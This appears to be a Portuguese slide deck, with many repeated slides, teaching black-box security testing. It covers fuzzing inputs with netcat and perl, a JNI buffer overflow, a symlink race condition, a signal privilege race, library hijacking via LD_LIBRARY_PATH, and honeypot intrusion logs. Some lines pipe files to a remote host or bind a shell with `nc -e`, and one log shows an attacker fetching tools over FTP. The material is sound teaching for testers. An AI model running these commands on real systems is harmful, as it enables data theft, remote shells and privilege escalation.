Segurança de Software: Testes de Caixa Preta

Luiz Gustavo C. Barbato[1 2] Antonio Montes[1 2]

[1]Laboratório Associado de Computação e Matemática Aplicada
Instituto Nacional de Pesquisas Espaciais

[2]Divisão de Segurança de Sistemas de Informação
Centro de Pesquisas Renato Archer

Grupo de Trabalho em Segurança de Redes - 02.05

Introdução

... desta forma o software X impossibilita alguém copiar um documento que não possui permissão para isso ...

Introdução

- Primeira vulnerabilidade:
  - Uso do Impossível
  - Nunca, Unbreakable, etc.
- O que significa impossível?
  - que não pode ser, existir ou acontecer (Houaiss pág. 241 ISBN 85-7302-395-3)
- Não esquecer que os aplicativos não trabalham sozinhos

Introdução

- Primeira vulnerabilidade:
  - Uso do Impossível
  - Nunca, Unbreakable, etc.
- O que significa impossível?
  - que não pode ser, existir ou acontecer (Houaiss pág. 241 ISBN 85-7302-395-3)
- Não esquecer que os aplicativos não trabalham sozinhos

Introdução

- Primeira vulnerabilidade:
  - Uso do Impossível
  - Nunca, Unbreakable, etc.
- O que significa impossível?
  - que não pode ser, existir ou acontecer (Houaiss pág. 241 ISBN 85-7302-395-3)
- Não esquecer que os aplicativos não trabalham sozinhos

Introdução

- Esse sistema protege de qualquer usuário, inclusive do administrador?
- Reposta: Sim, por duas razões:
  1. Se o administrador desabilitar o software, os documentos ficam ilegíveis pois o sistema utiliza certificados digitais.
  2. Os administradores também são usuários, e os documentos devem estar protegidos deles também.
- Não esquecer que os aplicativos não trabalham sozinhos

Introdução

- Esse sistema protege de qualquer usuário, inclusive do administrador?
- Reposta: Sim, por duas razões:
  1. Se o administrador desabilitar o software, os documentos ficam ilegíveis pois o sistema utiliza certificados digitais.
  2. Os administradores também são usuários, e os documentos devem estar protegidos deles também.
- Não esquecer que os aplicativos não trabalham sozinhos

Introdução

- Esse sistema protege de qualquer usuário, inclusive do administrador?
- Reposta: Sim, por duas razões:
  1. Se o administrador desabilitar o software, os documentos ficam ilegíveis pois o sistema utiliza certificados digitais.
  2. Os administradores também são usuários, e os documentos devem estar protegidos deles também.
- Não esquecer que os aplicativos não trabalham sozinhos

Introdução

- Esse sistema protege de qualquer usuário, inclusive do administrador?
- Reposta: Sim, por duas razões:
  1. Se o administrador desabilitar o software, os documentos ficam ilegíveis pois o sistema utiliza certificados digitais.
  2. Os administradores também são usuários, e os documentos devem estar protegidos deles também.
- Não esquecer que os aplicativos não trabalham sozinhos

Objetivo

1. Discutir aspectos sobre testes de segurança em software onde o código fonte do mesmo não é analisado.
2. Frase chave: “**O que será que acontece se ...**”

Vulnerabilidades em Software

- Para encontrar problemas sempre pensar que o impossível pode acontecer.
- Não esquecer que os aplicativos não trabalham sozinhos.
- Pensar na forma como sistema operacional trabalhará.
- “Não desprezar ataques locais mesmo que a máquina não seja utilizada por ninguém.”

Vulnerabilidades em Software

... estava analisando a lista de discussão e uma pessoa me disse que instalou o nosso sistema operacional default e em muito pouco tempo a máquina tinha sido comprometida. Eu nem respondi o email, mas deu vontade de dizer: “Você pediu .” ...

Análise de Caixa Branca

- Auditoria de código
  - Procurar por funções inseguras
  - Levantar todas as entradas de dados

Análise de Caixa Preta

- Testes de vulnerabilidade
- Pensar como o desenvolvedor implementou o sistema
  - Como será que o software X bloqueia a cópia e a impressão de documentos?

Análise de Caixa Preta

- Testes de vulnerabilidade
- Pensar como o desenvolvedor implementou o sistema
  - Como será que o software X bloqueia a cópia e a impressão de documentos?

Validação das entradas

- Sockets

Testes em aplicações servidoras

```
$ echo "Alguma coisa" | nc <IP> <PORTA>
$ cat <ARQUIVO> | nc <IP> <PORTA>
$ cat /dev/random | nc <IP> <PORTA>
$ while true; do echo "Alguma coisa" | nc <IP> <PORTA>; done
$ find <DIRETORIO> -exec cat {} \; | nc <IP> <PORTA>
$ echo "VARIAVEL=VALOR" | lynx -post_data http://<IP>/<CGI>
$ echo "http://<IP>/<CGI>?VARIAVEL=VALOR" | lynx -dump -
```

Testes em aplicações clientes

```
$ echo "Alguma coisa" | nc -l -p <PORTA>
$ nc -l -p <PORTA> < /dev/random
$ nc -l -p <PORTA> -e <COMANDO>
$ while true; do echo "Alguma coisa" | nc -l -p <PORTA>; done
```

Validação das entradas

- Sockets

Testes em aplicações servidoras

```
$ echo "Alguma coisa" | nc <IP> <PORTA>
$ cat <ARQUIVO> | nc <IP> <PORTA>
$ cat /dev/random | nc <IP> <PORTA>
$ while true; do echo "Alguma coisa" | nc <IP> <PORTA>; done
$ find <DIRETORIO> -exec cat {} \; | nc <IP> <PORTA>
$ echo "VARIAVEL=VALOR" | lynx -post_data http://<IP>/<CGI>
$ echo "http://<IP>/<CGI>?VARIAVEL=VALOR" | lynx -dump -
```

Testes em aplicações clientes

```
$ echo "Alguma coisa" | nc -l -p <PORTA>
$ nc -l -p <PORTA> < /dev/random
$ nc -l -p <PORTA> -e <COMANDO>
$ while true; do echo "Alguma coisa" | nc -l -p <PORTA>; done
```

Validação das entradas

- Sockets

Testes em aplicações servidoras

```
$ echo "Alguma coisa" | nc <IP> <PORTA>
$ cat <ARQUIVO> | nc <IP> <PORTA>
$ cat /dev/random | nc <IP> <PORTA>
$ while true; do echo "Alguma coisa" | nc <IP> <PORTA>; done
$ find <DIRETORIO> -exec cat {} \; | nc <IP> <PORTA>
$ echo "VARIAVEL=VALOR" | lynx -post_data http://<IP>/<CGI>
$ echo "http://<IP>/<CGI>?VARIAVEL=VALOR" | lynx -dump -
```

Testes em aplicações clientes

```
$ echo "Alguma coisa" | nc -l -p <PORTA>
$ nc -l -p <PORTA> < /dev/random
$ nc -l -p <PORTA> -e <COMANDO>
$ while true; do echo "Alguma coisa" | nc -l -p <PORTA>; done
```

Validação das entradas

- Parâmetros de inicialização

```
$ <PROGRAMA> `echo 'Alguma coisa'`

$ <PROGRAMA> `cat ARQUIVO`

$ <PROGRAMA> `perl -e 'print "A"x1024'`

$ find <DIRETORIO> -exec cat {} \; | xargs <PROGRAMA>

$ perl -e 'for($i=0;$i<1024;$i++){ \
  $arg="A"x$i."\n"; system("<PROGRAMA> $arg");}'

$ perl -e 'for($i=0;$i<1024;$i++){
  system("<PROGRAMA> $i");}'

$ export ARG='Algo muito estranho'; <PROGRAMA> $ARG
```

Validação das entradas

- Parâmetros de inicialização

```
$ <PROGRAMA> `echo 'Alguma coisa'`

$ <PROGRAMA> `cat ARQUIVO`

$ <PROGRAMA> `perl -e 'print "A"x1024'`

$ find <DIRETORIO> -exec cat {} \; | xargs <PROGRAMA>

$ perl -e 'for($i=0;$i<1024;$i++){ \
  $arg="A"x$i."\n"; system("<PROGRAMA> $arg");}'

$ perl -e 'for($i=0;$i<1024;$i++){
  system("<PROGRAMA> $i");}'

$ export ARG='Algo muito estranho'; <PROGRAMA> $ARG
```

Validação das entradas

- Leitura de arquivos

```
$ strace <PROGRAMA> 2>&1 | egrep '(open.*RD)'

$ echo "nome=123456789" >> /etc/ARQUIVO; <PROGRAMA>

$ sed -i 's/ano=.*/ano=-9999/g' /etc/ARQUIVO; <PROGRAMA>

$ <PROGRAMA> -c /dev/random

$ ln -s /dev/random /etc/ARQUIVO; <PROGRAMA>
```

Exemplo:

```
$ vim -s /dev/random
```

Validação das entradas

- Leitura de arquivos

```
$ strace <PROGRAMA> 2>&1 | egrep '(open.*RD)'

$ echo "nome=123456789" >> /etc/ARQUIVO; <PROGRAMA>

$ sed -i 's/ano=.*/ano=-9999/g' /etc/ARQUIVO; <PROGRAMA>

$ <PROGRAMA> -c /dev/random

$ ln -s /dev/random /etc/ARQUIVO; <PROGRAMA>
```

Exemplo:

```
$ vim -s /dev/random
```

Validação das entradas

- Leitura de arquivos

```
$ strace <PROGRAMA> 2>&1 | egrep '(open.*RD)'

$ echo "nome=123456789" >> /etc/ARQUIVO; <PROGRAMA>

$ sed -i 's/ano=.*/ano=-9999/g' /etc/ARQUIVO; <PROGRAMA>

$ <PROGRAMA> -c /dev/random

$ ln -s /dev/random /etc/ARQUIVO; <PROGRAMA>
```

Exemplo:

```
$ vim -s /dev/random
```

Validação das entradas

- Leitura de teclado

```
$ echo "Alguma coisa" | <PROGRAMA>

# ...

# E demais formas apresentadas

# ...
```

Validação das entradas

- Leitura de teclado

```
$ echo "Alguma coisa" | <PROGRAMA>

# ...

# E demais formas apresentadas

# ...
```

Validação das entradas

- IPC: Memória compartilhada

```
int main (int argc, char ** argv) {

/*...declaração de variáveis...*/

fd=open(argv[1],O_RDWR|O_CREAT,S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH);
ftruncate(fd, SIZE);
ptr_mem=mmap(NULL,SIZE,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0);

fgets(buf,SIZE,stdin);
memcpy(ptr_mem,buf,SIZE);

munmap (NULL,SIZE);
close (fd);

return 0;
}
```

Validação das entradas

- IPC: Memória compartilhada

```
int main (int argc, char ** argv) {

/*...declaração de variáveis...*/

fd=open(argv[1],O_RDWR|O_CREAT,S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH);
ftruncate(fd, SIZE);
ptr_mem=mmap(NULL,SIZE,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0);

fgets(buf,SIZE,stdin);
memcpy(ptr_mem,buf,SIZE);

munmap (NULL,SIZE);
close (fd);

return 0;
}
```

Validação das entradas

- IPC: Memória compartilhada

```
$ echo "Alguma coisa" | mmap-inject <ARQUIVO>

# ...

# E demais formas apresentadas

# ...
```

Validação das entradas

- Banco de dados

```
CREATE TABLE funcionario (
   codigo NUMERIC(8) NOT NULL,
   nome VARCHAR(128) NOT NULL,
   email VARCHAR(128) NOT NULL );
```

```
CREATE TABLE funcionario (
   codigo NUMERIC(80) NOT NULL,
   nome VARCHAR(1) NOT NULL,
   email VARCHAR(1280) NOT NULL );
```

```
CREATE TABLE funcionario (
   email VARCHAR(128) NOT NULL,
   nome VARCHAR(128),
   codigo VARCHAR(8) NOT NULL );
```

Validação das entradas

- Banco de dados

```
CREATE TABLE funcionario (
   codigo NUMERIC(8) NOT NULL,
   nome VARCHAR(128) NOT NULL,
   email VARCHAR(128) NOT NULL );
```

```
CREATE TABLE funcionario (
   codigo NUMERIC(80) NOT NULL,
   nome VARCHAR(1) NOT NULL,
   email VARCHAR(1280) NOT NULL );
```

```
CREATE TABLE funcionario (
   email VARCHAR(128) NOT NULL,
   nome VARCHAR(128),
   codigo VARCHAR(8) NOT NULL );
```

Validação das entradas

- Banco de dados

```
CREATE TABLE funcionario (
   codigo NUMERIC(8) NOT NULL,
   nome VARCHAR(128) NOT NULL,
   email VARCHAR(128) NOT NULL );
```

```
CREATE TABLE funcionario (
   codigo NUMERIC(80) NOT NULL,
   nome VARCHAR(1) NOT NULL,
   email VARCHAR(1280) NOT NULL );
```

```
CREATE TABLE funcionario (
   email VARCHAR(128) NOT NULL,
   nome VARCHAR(128),
   codigo VARCHAR(8) NOT NULL );
```

Validação das entradas

- Banco de dados

```
CREATE TABLE funcionario (
   codigo NUMERIC(8) NOT NULL,
   nome VARCHAR(128) NOT NULL,
   email VARCHAR(128) NOT NULL );
```

```
CREATE TABLE funcionario (
   codigo NUMERIC(80) NOT NULL,
   nome VARCHAR(1) NOT NULL,
   email VARCHAR(1280) NOT NULL );
```

```
CREATE TABLE funcionario (
   email VARCHAR(128) NOT NULL,
   nome VARCHAR(128),
   codigo VARCHAR(8) NOT NULL );
```

Análise de Caixa Preta

Buffer overflows

- É possível extravasar buffers em sistemas Java?
  - JVM controla o acesso a memória (aloca e desaloca)
  - Só que o Java não consegue efetuar certas operações
  - E para resolver este “problema”:
    - JNI (Java Native Interface)

http://java.sun.com/docs/books/tutorial/native1.1/

Buffer overflows

- É possível extravasar buffers em sistemas Java?
  - JVM controla o acesso a memória (aloca e desaloca)
  - Só que o Java não consegue efetuar certas operações
  - E para resolver este “problema”:
    - JNI (Java Native Interface)

http://java.sun.com/docs/books/tutorial/native1.1/

Análise de Caixa Preta

Buffer overflows

- É possível extravasar buffers em sistemas Java?
  - JVM controla o acesso a memória (aloca e desaloca)
  - Só que o Java não consegue efetuar certas operações
  - E para resolver este “problema”:
    - JNI (Java Native Interface)

http://java.sun.com/docs/books/tutorial/native1.1/

Buffer overflows

- É possível extravasar buffers em sistemas Java?
  - JVM controla o acesso a memória (aloca e desaloca)
  - Só que o Java não consegue efetuar certas operações
  - E para resolver este “problema”:
    - JNI (Java Native Interface)

`http://java.sun.com/docs/books/tutorial/native1.1/`

Buffer overflows

- É possível extravasar buffers em sistemas Java?

```
class HelloWorld {
  public native void displayHelloWorld();
  static {
    System.loadLibrary("hello");
  }
  public static void main(String[] args) {
    new HelloWorld().displayHelloWorld();
  }
}
```

```
cc -G HelloWorldImp.c -o libhello.so

cl -LD HelloWorldImp.c -Fehello.dll
```

Buffer overflows

- É possível extravasar buffers em sistemas Java?

```
class HelloWorld {
  public native void displayHelloWorld();
  static {
    System.loadLibrary("hello");
  }
  public static void main(String[] args) {
    new HelloWorld().displayHelloWorld();
  }
}
```

```
cc -G HelloWorldImp.c -o libhello.so

cl -LD HelloWorldImp.c -Fehello.dll
```

Buffer overflows

- É possível extravasar buffers em sistemas Java?

```
JNIEXPORT jstring JNICALL
Java_Prompt_getLine(JNIEnv *env, jobject obj, jstring prompt) {
  char buf[128];
  const char *str = (*env)->GetStringUTFChars(env, prompt, 0);
  printf("%s", str);
  (*env)->ReleaseStringUTFChars(env, prompt, str);
  scanf("%s", buf);
  return (*env)->NewStringUTF(env, buf);
}
```

Possível teste de vulnerabilidade:

```
$ perl -e 'print "A"x140' | java prompt
Segmentation fault
```

http://java.sun.com/docs/books/tutorial/native1.1/implementing/example-1dot1/Prompt.c

Buffer overflows

- É possível extravasar buffers em sistemas Java?

```
JNIEXPORT jstring JNICALL
Java_Prompt_getLine(JNIEnv *env, jobject obj, jstring prompt) {
  char buf[128];
  const char *str = (*env)->GetStringUTFChars(env, prompt, 0);
  printf("%s", str);
  (*env)->ReleaseStringUTFChars(env, prompt, str);
  scanf("%s", buf);
  return (*env)->NewStringUTF(env, buf);
}
```

Possível teste de vulnerabilidade:

```
$ perl -e 'print "A"x140' | java prompt
Segmentation fault
```

http://java.sun.com/docs/books/tutorial/native1.1/implementing/example-1dot1/Prompt.c

Execução de códigos maliciosos

- <?
- ;
- |
- '
- > ou >> ou < ou <<
- Algumas codificações:
  - ASCII: . /
  - Hexadecimal: **2E 2F**
  - Unicode: **C0AE C0AF**
  - UTF-8: **F080AE E080AF**
  - **Exemplo: Firefox reconhece 80 codificações**

Execução de códigos maliciosos

- <?
- ;
- |
- '
- > ou >> ou < ou <<
- Algumas codificações:
  - ASCII: **.** /
  - Hexadecimal: **2E 2F**
  - Unicode: **C0AE C0AF**
  - UTF-8: **F080AE E080AF**
  - **Exemplo: Firefox reconhece 80 codificações**

Race Conditions

```
$ strace <PROGRAMA> 2>&1 | egrep '(open.*WR)'
```

```
void main (int argc, char ** argv) {
  FILE * fd = fopen ("/tmp/arquivo-temporario", "w");
  fputs ("teste de condicao de corrida\n", fd);
  fclose (fd);
}
```

```
$ ./rc
$ cat /tmp/arquivo-temporario
teste de condicao de corrida
```

```
$ ln -s /tmp/arquivo-indevido /tmp/arquivo-temporario
$ ./rc
$ cat /tmp/arquivo-indevido
teste de condicao de corrida
```

Race Conditions

```
$ strace <PROGRAMA> 2>&1 | egrep '(open.*WR)'
```

```
void main (int argc, char ** argv) {
  FILE * fd = fopen ("/tmp/arquivo-temporario", "w");
  fputs ("teste de condicao de corrida\n", fd);
  fclose (fd);
}
```

```
$ ./rc
$ cat /tmp/arquivo-temporario
teste de condicao de corrida
```

```
$ ln -s /tmp/arquivo-indevido /tmp/arquivo-temporario
$ ./rc
$ cat /tmp/arquivo-indevido
teste de condicao de corrida
```

Race Conditions

```
$ strace <PROGRAMA> 2>&1 | egrep '(open.*WR)'
```

```
void main (int argc, char ** argv) {
  FILE * fd = fopen ("/tmp/arquivo-temporario", "w");
  fputs ("teste de condicao de corrida\n", fd);
  fclose (fd);
}
```

```
$ ./rc
$ cat /tmp/arquivo-temporario
teste de condicao de corrida
```

```
$ ln -s /tmp/arquivo-indevido /tmp/arquivo-temporario
$ ./rc
$ cat /tmp/arquivo-indevido
teste de condicao de corrida
```

Race Conditions

```
$ strace <PROGRAMA> 2>&1 | egrep '(open.*WR)'
```

```
void main (int argc, char ** argv) {
  FILE * fd = fopen ("/tmp/arquivo-temporario", "w");
  fputs ("teste de condicao de corrida\n", fd);
  fclose (fd);
}
```

```
$ ./rc
$ cat /tmp/arquivo-temporario
teste de condicao de corrida
```

```
$ ln -s /tmp/arquivo-indevido /tmp/arquivo-temporario
$ ./rc
$ cat /tmp/arquivo-indevido
teste de condicao de corrida
```

Race Conditions

```
$ strace <PROGRAMA> 2>&1 | egrep '(open.*WR)'
```

```
void main (int argc, char ** argv) {
  FILE * fd = fopen ("/tmp/arquivo-temporario", "w");
  fputs ("teste de condicao de corrida\n", fd);
  fclose (fd);
}
```

```
$ ./rc
$ cat /tmp/arquivo-temporario
teste de condicao de corrida
```

```
$ ln -s /tmp/arquivo-indevido /tmp/arquivo-temporario
$ ./rc
$ cat /tmp/arquivo-indevido
teste de condicao de corrida
```

Race Conditions

- Soluções utilizadas:
  - Testar a existência do arquivo antes abrí-lo para escrita.

Possível teste de vulnerabilidade:

```
while true; do
./rc2&
rm -f /tmp/arquivo-temporario
./rc2&
ln -s /tmp/arquivo-indevido /tmp/arquivo-temporario
./rc2&
done
```

Race Conditions

- Soluções utilizadas:
  - Testar a existência do arquivo antes abrí-lo para escrita.

Possível teste de vulnerabilidade:

```
while true; do
./rc2&
rm -f /tmp/arquivo-temporario
./rc2&
ln -s /tmp/arquivo-indevido /tmp/arquivo-temporario
./rc2&
done
```

Tratamento de sinais

```
$ strace <PROGRAMA> 2>&1 | grep sigaction
```

```
$ strace <PROGRAMA> 2>&1 | grep sigaction
rt_sigaction(SIGTERM, {0x8048504, [TERM], SA_RESTORER|...
```

```
$ strace <PROGRAMA> 2>&1 | grep suid
setresuid32(-1, 1000, -1)               = 0
setresuid32(-1, 0, -1)                  = -1 EPERM ...
setresuid32(-1, 1000, -1)               = 0
```

```
$ <PROGRAMA> & sleep 3; killall -TERM <PROGRAMA>; sleep 3; \
killall -TERM <PROGRAMA>
Running with uid=1000 euid=1000
Running with uid=1000 euid=0
```

Tratamento de sinais

```
$ strace <PROGRAMA> 2>&1 | grep sigaction
```

```
$ strace <PROGRAMA> 2>&1 | grep sigaction
rt_sigaction(SIGTERM, {0x8048504, [TERM], SA_RESTORER|...
```

```
$ strace <PROGRAMA> 2>&1 | grep suid
setresuid32(-1, 1000, -1)                = 0
setresuid32(-1, 0, -1)                   = -1 EPERM ...
setresuid32(-1, 1000, -1)                = 0
```

```
$ <PROGRAMA> & sleep 3; killall -TERM <PROGRAMA>; sleep 3; \
killall -TERM <PROGRAMA>
Running with uid=1000 euid=1000
Running with uid=1000 euid=0
```

Tratamento de sinais

```
$ strace <PROGRAMA> 2>&1 | grep sigaction
```

```
$ strace <PROGRAMA> 2>&1 | grep sigaction
rt_sigaction(SIGTERM, {0x8048504, [TERM], SA_RESTORER|...
```

```
$ strace <PROGRAMA> 2>&1 | grep suid
setresuid32(-1, 1000, -1)               = 0
setresuid32(-1, 0, -1)                  = -1 EPERM ...
setresuid32(-1, 1000, -1)               = 0
```

```
$ <PROGRAMA> & sleep 3; killall -TERM <PROGRAMA>; sleep 3; \
killall -TERM <PROGRAMA>
Running with uid=1000 euid=1000
Running with uid=1000 euid=0
```

Tratamento de sinais

```
$ strace <PROGRAMA> 2>&1 | grep sigaction
```

```
$ strace <PROGRAMA> 2>&1 | grep sigaction
rt_sigaction(SIGTERM, {0x8048504, [TERM], SA_RESTORER|...
```

```
$ strace <PROGRAMA> 2>&1 | grep suid
setresuid32(-1, 1000, -1)                       = 0
setresuid32(-1, 0, -1)                          = -1 EPERM ...
setresuid32(-1, 1000, -1)                       = 0
```

```
$ <PROGRAMA> & sleep 3; killall -TERM <PROGRAMA>; sleep 3; \
killall -TERM <PROGRAMA>
Running with uid=1000 euid=1000
Running with uid=1000 euid=0
```

Tratamento de sinais

```
$ strace <PROGRAMA> 2>&1 | grep sigaction
```

```
$ strace <PROGRAMA> 2>&1 | grep sigaction
rt_sigaction(SIGTERM, {0x8048504, [TERM], SA_RESTORER|...
```

```
$ strace <PROGRAMA> 2>&1 | grep suid
setresuid32(-1, 1000, -1)                       = 0
setresuid32(-1, 0, -1)                          = -1 EPERM ...
setresuid32(-1, 1000, -1)                       = 0
```

```
$ <PROGRAMA> & sleep 3; killall -TERM <PROGRAMA>; sleep 3; \
killall -TERM <PROGRAMA>
Running with uid=1000 euid=1000
Running with uid=1000 euid=0
```

Tratamento de sinais

```
void sh(int dummy) {
  printf("Running with uid=%d euid=%d\n",getuid(),geteuid());
}
int main(int argc,char* argv[]) {
  seteuid(getuid());
  setreuid(0,getuid());
  signal(SIGTERM,sh);
  sleep(5);
  // this is a temporarily privileged code:
  seteuid(0);
  unlink("tmpfile");
  sleep(5);
  seteuid(getuid());
  exit(0);
}
```

http://www.netsys.com/library/papers/signals.txt

Tratamento de sinais

```
$ kill -l
 1) SIGHUP       2) SIGINT       3) SIGQUIT      4) SIGILL
 5) SIGTRAP      6) SIGABRT      7) SIGBUS       8) SIGFPE
 9) SIGKILL     10) SIGUSR1     11) SIGSEGV     12) SIGUSR2
13) SIGPIPE     14) SIGALRM     15) SIGTERM     17) SIGCHLD
18) SIGCONT     19) SIGSTOP     20) SIGTSTP     21) SIGTTIN
22) SIGTTOU     23) SIGURG      24) SIGXCPU     25) SIGXFSZ
26) SIGVTALRM   27) SIGPROF     28) SIGWINCH    29) SIGIO
30) SIGPWR      31) SIGSYS
```

```
$ killall -<SINAL> <PROGRAMA>

$ kill -<SINAL> <PID-PROGRAMA>

$ for i in `seq 1 64`; do killall -$i <PROGRAMA>; done

$ grep 64 /usr/include/bits/signum.h
#define _NSIG             64      /* Biggest signal number + 1
```

Tratamento de sinais

```
$ kill -l
 1) SIGHUP       2) SIGINT       3) SIGQUIT      4) SIGILL
 5) SIGTRAP      6) SIGABRT      7) SIGBUS       8) SIGFPE
 9) SIGKILL     10) SIGUSR1     11) SIGSEGV     12) SIGUSR2
13) SIGPIPE     14) SIGALRM     15) SIGTERM     17) SIGCHLD
18) SIGCONT     19) SIGSTOP     20) SIGTSTP     21) SIGTTIN
22) SIGTTOU     23) SIGURG      24) SIGXCPU     25) SIGXFSZ
26) SIGVTALRM   27) SIGPROF     28) SIGWINCH    29) SIGIO
30) SIGPWR      31) SIGSYS
```

```
$ killall -<SINAL> <PROGRAMA>

$ kill -<SINAL> <PID-PROGRAMA>

$ for i in `seq 1 64`; do killall -$i <PROGRAMA>; done

$ grep 64 /usr/include/bits/signum.h
#define _NSIG             64      /* Biggest signal number + 1
```

Windows Messages

- SendMessage
- PostMessage

```
posicao.x=50;
posicao.y=80;
handle = WindowFromPoint(posicao);
```

```
handle = FindWindow(NULL, "Título da Janela do Programa");
```

```
SendMessage(handle, WM_SETTEXT, 0, "Alguma mensagem");
SendMessage(handle, WM_KEYDOWN, VK_DOWN, 0);
SendMessage(handle, WM_IME_KEYDOWN, 0x41, 0);
SendMessage(handle, WM_CLOSE,0,0);
SendMessage(handle, WM_GETTEXT, 80, (LPARAM)Texto);
```

http://msdn.microsoft.com/library

Windows Messages

- SendMessage
- PostMessage

```
posicao.x=50;
posicao.y=80;
handle = WindowFromPoint(posicao);
```

```
handle = FindWindow(NULL, "Título da Janela do Programa");
```

```
SendMessage(handle, WM_SETTEXT, 0, "Alguma mensagem");
SendMessage(handle, WM_KEYDOWN, VK_DOWN, 0);
SendMessage(handle, WM_IME_KEYDOWN, 0x41, 0);
SendMessage(handle, WM_CLOSE,0,0);
SendMessage(handle, WM_GETTEXT, 80, (LPARAM)Texto);
```

http://msdn.microsoft.com/library

Windows Messages

- SendMessage
- PostMessage

```
posicao.x=50;
posicao.y=80;
handle = WindowFromPoint(posicao);
```

```
handle = FindWindow(NULL, "Título da Janela do Programa");
```

```
SendMessage(handle, WM_SETTEXT, 0, "Alguma mensagem");
SendMessage(handle, WM_KEYDOWN, VK_DOWN, 0);
SendMessage(handle, WM_IME_KEYDOWN, 0x41, 0);
SendMessage(handle, WM_CLOSE,0,0);
SendMessage(handle, WM_GETTEXT, 80, (LPARAM)Texto);
```

http://msdn.microsoft.com/library

Windows Messages

- SendMessage
- PostMessage

```
posicao.x=50;
posicao.y=80;
handle = WindowFromPoint(posicao);
```

```
handle = FindWindow(NULL, "Título da Janela do Programa");
```

```
SendMessage(handle, WM_SETTEXT, 0, "Alguma mensagem");
SendMessage(handle, WM_KEYDOWN, VK_DOWN, 0);
SendMessage(handle, WM_IME_KEYDOWN, 0x41, 0);
SendMessage(handle, WM_CLOSE,0,0);
SendMessage(handle, WM_GETTEXT, 80, (LPARAM)Texto);
```

http://msdn.microsoft.com/library

Problemas com Reaproveitamento de Código

- Bibliotecas
- Pacotes
- Componentes
- Classes
- Etc.

1. O que será que acontece se estes códigos não existissem?
2. O que será que acontece se estes códigos fossem trocados por outros?

Problemas com Reaproveitamento de Código

- Bibliotecas
- Pacotes
- Componentes
- Classes
- Etc.

1. O que será que acontece se estes códigos não existissem?
2. O que será que acontece se estes códigos fossem trocados por outros?

Problemas com Reaproveitamento de Código

- Bibliotecas
- Pacotes
- Componentes
- Classes
- Etc.

1. O que será que acontece se estes códigos não existissem?
2. O que será que acontece se estes códigos fossem trocados por outros?

Problemas com Reaproveitamento de Código

```
void main(int argc, char ** argv) {
  void *handle;
  double (*coseno)(double);
  char *error;

  if (!(handle = dlopen ("libm.so.6", RTLD_LAZY)))
    fputs (dlerror(), stderr), exit(1);

  coseno = dlsym(handle, "cos");
  if ((error = dlerror()) != NULL)
    fputs(error, stderr), exit(1);

  printf ("%f\n", (*coseno)(atof(argv[1])));
  dlclose(handle);
}
```

```
$ gcc cos.c -o cos -ldl
$ ./cos 10
-0.839072
```

Problemas com Reaproveitamento de Código

```
void main(int argc, char ** argv) {
  void *handle;
  double (*coseno)(double);
  char *error;

  if (!(handle = dlopen ("libm.so.6", RTLD_LAZY)))
    fputs (dlerror(), stderr), exit(1);

  coseno = dlsym(handle, "cos");
  if ((error = dlerror()) != NULL)
    fputs(error, stderr), exit(1);

  printf ("%f\n", (*coseno)(atof(argv[1])));
  dlclose(handle);
}
```

```
$ gcc cos.c -o cos -ldl
$ ./cos 10
-0.839072
```

Problemas com Reaproveitamento de Código

1. O que será que acontece se uma função de uma biblioteca retornasse um valor não esperado?

```
$ cat libm.c

double cos (double a) {
  return 0.0;
}
```

```
$ gcc -c libm.c
$ gcc -shared -o libm.so.6 libm.o
$ LD_LIBRARY_PATH="." ./cos 10
0.000000
```

2. O mesmo acontece com DLLs.
   - As chamadas às bibliotecas podem ser interceptadas.

Problemas com Reaproveitamento de Código

1. O que será que acontece se uma função de uma biblioteca retornasse um valor não esperado?

```
$ cat libm.c

double cos (double a) {
  return 0.0;
}
```

```
$ gcc -c libm.c
$ gcc -shared -o libm.so.6 libm.o
$ LD_LIBRARY_PATH="." ./cos 10
0.000000
```

2. O mesmo acontece com DLLs.
   - As chamadas às bibliotecas podem ser interceptadas.

Problemas com Reaproveitamento de Código

1. O que será que acontece se uma função de uma biblioteca retornasse um valor não esperado?

```
$ cat libm.c

double cos (double a) {
  return 0.0;
}
```

```
$ gcc -c libm.c
$ gcc -shared -o libm.so.6 libm.o
$ LD_LIBRARY_PATH="." ./cos 10
0.000000
```

2. O mesmo acontece com DLLs.
   - As chamadas às bibliotecas podem ser interceptadas.

“Problemas” inerentes do Sistema Operacional

- Não esquecer que os aplicativos não trabalham sozinhos.
  - Controle das chamadas de sistemas
  - Proteção das API’s
  - Utilização de recursos diretamente do kernel
  - O que será que acontece se essas chamadas de sistemas fossem interceptadas?

“Problemas” inerentes do Sistema Operacional

- Não esquecer que os aplicativos não trabalham sozinhos.
  - Controle das chamadas de sistemas
  - Proteção das API’s
  - Utilização de recursos diretamente do kernel
  - O que será que acontece se essas chamadas de sistemas fossem interceptadas?

“Problemas” inerentes do Sistema Operacional

- Conexão SSH não é criptografada?

```
Last login: Wed Feb 25 15:57:10 2004
[root@nome-honeypot root]# w
10:06am up 18:21, 0 users, load average:0.00, 0.00, 0.00
USER   TTY    FROM       LOGIN@  IDLE  JCPU  PCPU  WHAT
[root@nome-honeypot root]# cd /tmp
[root@nome-honeypot tmp]# ftp -v sitio.do.atacante
Connected to sitio.do.atacante (192.168.76.90).
220 Ftp server ready.
Name (sitio.do.atacante:root): atacante
331 User atacante okay, need password.
Password:senhadoatacante
230-You are user #19 of 350 simultaneous users allowed.
230-
230 Restricted user logged in.
Remote system type is UNIX.
```

“Problemas” inerentes do Sistema Operacional

- Conexão SSH não é criptografada?

```
Last login: Wed Feb 25 15:57:10 2004
[root@nome-honeypot root]# w
10:06am up 18:21, 0 users, load average:0.00, 0.00, 0.00
USER   TTY    FROM       LOGIN@  IDLE  JCPU  PCPU  WHAT
[root@nome-honeypot root]# cd /tmp
[root@nome-honeypot tmp]# ftp -v sitio.do.atacante
Connected to sitio.do.atacante (192.168.76.90).
220 Ftp server ready.
Name (sitio.do.atacante:root): atacante
331 User atacante okay, need password.
Password:senhadoatacante
230-You are user #19 of 350 simultaneous users allowed.
230-
230 Restricted user logged in.
Remote system type is UNIX.
```

“Problemas” inerentes do Sistema Operacional

- Um sniffer não captura todo tráfego de um barramento com HUB?

```
root@honeypot# insmod smartl.o
root@honeypot# tcpdump -nl udp > teste-trafego.txt&
tcpdump: listening on eth0
root@honeypot# ls
smartl.o smartc smartv smarts smarta.sh smartg
root@honeypot# cat teste-trafego.txt
root@honeypot#
```

```
root@Coletor# smartv -d eth0


root@honeypot# tcpdump -nl udp > teste-trafego.txt&
